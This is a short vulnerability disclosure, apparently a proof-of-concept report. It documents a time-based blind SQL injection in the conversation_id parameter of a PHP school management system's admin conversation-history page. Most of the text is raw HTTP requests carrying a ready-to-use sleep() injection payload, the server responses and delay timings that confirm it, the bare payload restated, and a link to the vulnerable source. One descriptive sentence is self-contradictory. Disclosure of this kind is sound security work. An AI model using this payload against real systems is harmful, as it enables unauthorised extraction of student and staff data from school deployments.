

SQL injection vulnerability exists in conversation_id parameter of /view/conversation_history_admin.php file of Complete Web-Based School Management System. Important user data or system data may be leaked and system security may be compromised. The environment is secure and the information can be used by malicious users. Sleep time is 2s:

Request

```
1 GET /std1/view/conversation_history_admin.php?
  conversation_id=
  '%2B(select(0)from(select(sleep(1)))v)%2B'&
  friend_index=friend_index&my_index=my_index&my_type=
  my_type HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:55:55 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 1394
8
9 <div class="row">
10   <div class="col-md-12">
11     <div class="panel" id="conversation-panel">
12       <!--panel bg-maroon-->
13       <div class="panel-heading bg-aqua-active
14         text-right">
15
16         <h4 class="panel-title" id="hname">
17           </h4>
18       </div>
19       <div class="panel-body" id="
20         conversation-panel-body">
```

Done 1,584 bytes | 2,006 millis

Sleep time is 8s:

Request

```
1 GET /std1/view/conversation_history_admin.php?
  conversation_id=
  '%2B(select(0)from(select(sleep(4)))v)%2B'&
  friend_index=friend_index&my_index=my_index&my_type=
  my_type HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
  x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 15:55:32 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 1394
8
9 <div class="row">
10   <div class="col-md-12">
11     <div class="panel" id="conversation-panel">
12       <!--panel bg-maroon-->
13       <div class="panel-heading bg-aqua-active
14         text-right">
15
16         <h4 class="panel-title" id="hname">
17           </h4>
18       </div>
19       <div class="panel-body" id="
20         conversation-panel-body">
```

Done 1,584 bytes | 8,109 millis

Payload: conversation_id='%2B(select(0)from(select(sleep(1)))v)%2B'

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>